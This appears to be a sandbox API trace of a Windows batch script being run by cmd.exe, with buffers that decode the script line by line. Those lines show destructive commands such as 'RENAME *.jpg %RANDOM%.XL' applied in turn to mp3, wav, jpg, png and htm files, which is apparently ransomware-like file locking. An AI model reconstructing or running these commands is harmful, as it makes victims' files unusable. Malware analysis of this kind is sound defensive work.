lpWideCharStr="RENAME *.mp3 %RANDOM%.XL\r\n") returned 26 [0039.918] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.918] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x631 [0039.918] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.918] GetFileType (hFile=0x74) returned 0x1 [0039.918] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x631 [0039.918] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.918] SetFilePointer (in: hFile=0x74, lDistanceToMove=1596, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x63c [0039.918] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\n3 %RANDOM%.XL\r\n") returned 11 [0039.918] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.918] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x63c [0039.918] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.918] GetFileType (hFile=0x74) returned 0x1 [0039.919] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x63c [0039.919] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.919] SetFilePointer (in: hFile=0x74, lDistanceToMove=1598, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x63e [0039.919] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0039.919] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.919] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x63e [0039.919] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.919] GetFileType (hFile=0x74) returned 0x1 [0039.919] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x63e [0039.919] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.919] SetFilePointer (in: hFile=0x74, lDistanceToMove=1604, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x644 [0039.919] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":wav\r\nock\r\n") returned 6 [0039.919] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.919] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x644 [0039.919] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.919] GetFileType (hFile=0x74) returned 0x1 [0039.919] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x644 [0039.920] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.920] SetFilePointer (in: hFile=0x74, lDistanceToMove=1606, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x646 [0039.920] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nav\r\n") returned 2 [0039.920] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.920] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x646 [0039.920] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.920] GetFileType (hFile=0x74) returned 0x1 [0039.920] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x646 [0039.920] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.920] SetFilePointer (in: hFile=0x74, lDistanceToMove=1632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x660 [0039.920] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.wav %RANDOM%.XL\r\n") returned 26 [0039.920] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.920] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x660 [0039.920] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.920] GetFileType (hFile=0x74) returned 0x1 [0039.920] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x660 [0039.921] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.921] SetFilePointer (in: hFile=0x74, lDistanceToMove=1643, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x66b [0039.921] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\nv %RANDOM%.XL\r\n") returned 11 [0039.921] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.921] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x66b [0039.921] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.921] GetFileType (hFile=0x74) returned 0x1 [0039.921] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x66b [0039.921] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.921] SetFilePointer (in: hFile=0x74, lDistanceToMove=1645, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x66d [0039.921] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0039.921] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.921] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x66d [0039.921] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.921] GetFileType (hFile=0x74) returned 0x1 [0039.921] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x66d [0039.921] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.921] SetFilePointer (in: hFile=0x74, lDistanceToMove=1651, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x673 [0039.922] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":jpg\r\nock\r\n") returned 6 [0039.922] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.922] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x673 [0039.922] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.922] GetFileType (hFile=0x74) returned 0x1 [0039.922] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x673 [0039.922] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.922] SetFilePointer (in: hFile=0x74, lDistanceToMove=1653, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x675 [0039.922] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\npg\r\n") returned 2 [0039.922] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.922] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x675 [0039.922] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.922] GetFileType (hFile=0x74) returned 0x1 [0039.923] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x675 [0039.923] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.923] SetFilePointer (in: hFile=0x74, lDistanceToMove=1679, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x68f [0039.923] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.jpg %RANDOM%.XL\r\n") returned 26 [0039.923] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.923] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x68f [0039.923] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.923] GetFileType (hFile=0x74) returned 0x1 [0039.923] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x68f [0039.923] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.923] SetFilePointer (in: hFile=0x74, lDistanceToMove=1690, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x69a [0039.923] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\ng %RANDOM%.XL\r\n") returned 11 [0039.923] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.923] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x69a [0039.923] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.923] GetFileType (hFile=0x74) returned 0x1 [0039.924] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x69a [0039.924] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.924] SetFilePointer (in: hFile=0x74, lDistanceToMove=1692, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x69c [0039.924] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0039.924] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.924] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x69c [0039.924] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.924] GetFileType (hFile=0x74) returned 0x1 [0039.924] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x69c [0039.924] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.924] SetFilePointer (in: hFile=0x74, lDistanceToMove=1698, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6a2 [0039.924] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":png\r\nock\r\n") returned 6 [0039.924] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.924] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x6a2 [0039.924] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.924] GetFileType (hFile=0x74) returned 0x1 [0039.924] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x6a2 [0039.925] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.925] SetFilePointer (in: hFile=0x74, lDistanceToMove=1700, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6a4 [0039.925] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nng\r\n") returned 2 [0039.925] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.925] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x6a4 [0039.925] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.925] GetFileType (hFile=0x74) returned 0x1 [0039.925] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x6a4 [0039.925] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.925] SetFilePointer (in: hFile=0x74, lDistanceToMove=1726, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6be [0039.925] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.png %RANDOM%.XL\r\n") returned 26 [0039.925] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.925] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x6be [0039.925] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.925] GetFileType (hFile=0x74) returned 0x1 [0039.925] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x6be [0039.925] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.926] SetFilePointer (in: hFile=0x74, lDistanceToMove=1737, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6c9 [0039.926] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\ng %RANDOM%.XL\r\n") returned 11 [0039.926] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.926] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x6c9 [0039.926] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.926] GetFileType (hFile=0x74) returned 0x1 [0039.926] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x6c9 [0039.926] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.926] SetFilePointer (in: hFile=0x74, lDistanceToMove=1739, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6cb [0039.926] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0039.926] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.926] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x6cb [0039.926] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.927] GetFileType (hFile=0x74) returned 0x1 [0039.927] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x6cb [0039.927] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.927] SetFilePointer (in: hFile=0x74, lDistanceToMove=1745, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6d1 [0039.927] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":htm\r\nock\r\n") returned 6 [0039.927] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.927] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x6d1 [0039.927] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.927] GetFileType (hFile=0x74) returned 0x1 [0039.927] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x6d1 [0039.927] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.927] SetFilePointer (in: hFile=0x74, lDistanceToMove=1747, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6d3 [0039.927] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\ntm\r\n") returned 2 [0039.927] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.927] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x6d3 [0039.927] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.927] GetFileType (hFile=0x74) returned 0x1 [0039.927] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x6d3 [0039.928] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.928] SetFilePointer (in: hFile=0x74, lDistanceToMove=1773, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6ed [0039.928] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.htm %RANDOM%.XL\r\n") returned 26 [0039.928] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.928] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x6ed [0039.928] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.928] GetFileType (hFile=0x74) returned 0x1 [0039.928] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x6ed [0039.928] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.928] SetFilePointer (in: hFile=0x74, lDistanceToMove=1784, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6f8 [0039.928] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\nm %RANDOM%.XL\r\n") returned 11 [0039.928] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.928] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x6f8 [0039.928] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.928] GetFileType (hFile=0x74) returned 0x1 [0039.928] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x6f8 [0039.929] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.929] SetFilePointer (in: hFile=0x74, lDistanceToMove=1786, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6fa [0039.929] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0039.929] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.929] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x6fa [0039.929] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.929] GetFileType (hFile=0x74) returned 0x1 [0039.929] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x6fa [0039.929] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.929] SetFilePointer (in: hFile=0x74, lDistanceToMove=1793, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x701 [0039.929] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=7, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":html\r\nck\r\n") returned 7 [0039.929] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.929] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x701 